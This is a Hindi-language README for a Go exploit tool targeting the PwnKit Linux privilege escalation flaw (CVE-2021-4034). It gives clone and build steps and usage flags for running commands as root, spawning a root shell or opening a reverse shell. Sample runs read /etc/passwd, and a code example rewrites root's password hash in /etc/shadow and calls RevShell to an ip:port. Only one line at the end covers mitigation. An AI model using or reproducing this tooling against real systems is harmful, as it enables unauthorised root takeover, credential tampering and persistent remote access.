
Go में PwnKit Linux लोकल प्रिविलेज एस्केलेशन एक्सप्लॉइट (CVE-2021-4034) का कार्यान्वयन
CVE-2021-4034 PwnKit शोषण का एक शुद्ध-Go कार्यान्वयन।
यह शोषण मुख्य प्रोग्राम के समाप्त होने के बाद भी जीवित रहने के लिए syscall.ForkExec का उपयोग करता है।
git clone https://github.com/OXDBXKXO/ez-pwnkit.git
cd ez-pwnkit
make
चूंकि शोषण एक दुर्भावनापूर्ण साझा लाइब्रेरी पर निर्भर करता है, इसलिए payload.go से एक PWN.so फ़ाइल उत्पन्न होती है और परिणामी exploit निष्पादन योग्य में एम्बेड होती है।
Makefile payload.go फ़ाइल के पैकेज नाम को अस्थायी रूप से main में बदलने के लिए sed का उपयोग करता है, इसलिए यह Makefile केवल Linux के लिए है।
चूंकि Go पेलोड C जितना विश्वसनीय नहीं है, Makefile डिफ़ॉल्ट रूप से C पेलोड के साथ शोषण संकलित करेगा। आप make build_go का उपयोग करके Go पेलोड के साथ संकलन करना चुन सकते हैं।
$> ./exploit -h
Usage of ./exploit:
-c string
Run command as root in separate process
-o Pipe output of forked command to terminal
-r string
Open a reverse-shell in separate process. Format: ip:port
-s Spawn a root shell
शोषण का उपयोग या तो किसी कमांड (-c) के साथ, रिवर्स-शेल (-r) के रूप में, या रूट शेल (-s) स्पॉन करने के लिए किया जा सकता है।
$> ./exploit -s
sh-5.1#
$> ./exploit -c "cat /etc/passwd"
$> ./exploit -o -c "cat /etc/passwd"
[/etc/passwd content]
package main
import (
"github.com/OXDBXKXO/ez-pwnkit"
)
func main() {
// Change root password to 'password'
ez_pwnkit.Command(`sed -i -e 's,^root:[^:]\+:,root:$6$eymNRCK.KxwDM6vu$idH0swGW1nsnLb8fT1QibUho5xg7uGJT7fuiheLZHIi9M4gTSk0qIOlUIk2Mm9/Nz5C.T4GkgkmLcK5BtOPkS0:,' etc/shadow`, false)
// Open a reverse-shell
ez_pwnkit.RevShell("127.0.0.1:1337")
}
ध्यान दें कि Command और RevShell शोषण चलाने के लिए syscall.ForkExec का उपयोग करते हैं, इसलिए परिणामी प्रक्रियाएं मुख्य प्रोग्राम से अलग होती हैं और इसके समाप्त होने के बाद भी जीवित रहती हैं।
हालांकि go-PwnKit को Github से आपके प्रोजेक्ट में आयात किया जा सकता है, यह न भूलें कि आप रूट के रूप में एक अविश्वसनीय साझा लाइब्रेरी निष्पादित करेंगे। इसलिए स्थानीय रूप से संकलित PWN.so का उपयोग अत्यधिक अनुशंसित है। बस कह रहा हूँ 😚
$> ./exploit
sh-5.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-5.1#
यदि संभव हो तो pkexec को पैच करें, अन्यथा pkexec बाइनरी पर setuid बिट अक्षम करें।
chmod 0755 /usr/bin/pkexec
यह प्रोजेक्ट PwnKit शोषण के कई अन्य PoCs से प्रेरित है।
सीधे-सादे शोषण सेटअप के लिए An00bRektn को धन्यवाद।
शोषण स्पष्टीकरण की स्पष्टता के लिए PaterGottesman और berdav को धन्यवाद।
GIO_USE_VFS ट्रिक के लिए dzonerzy को धन्यवाद।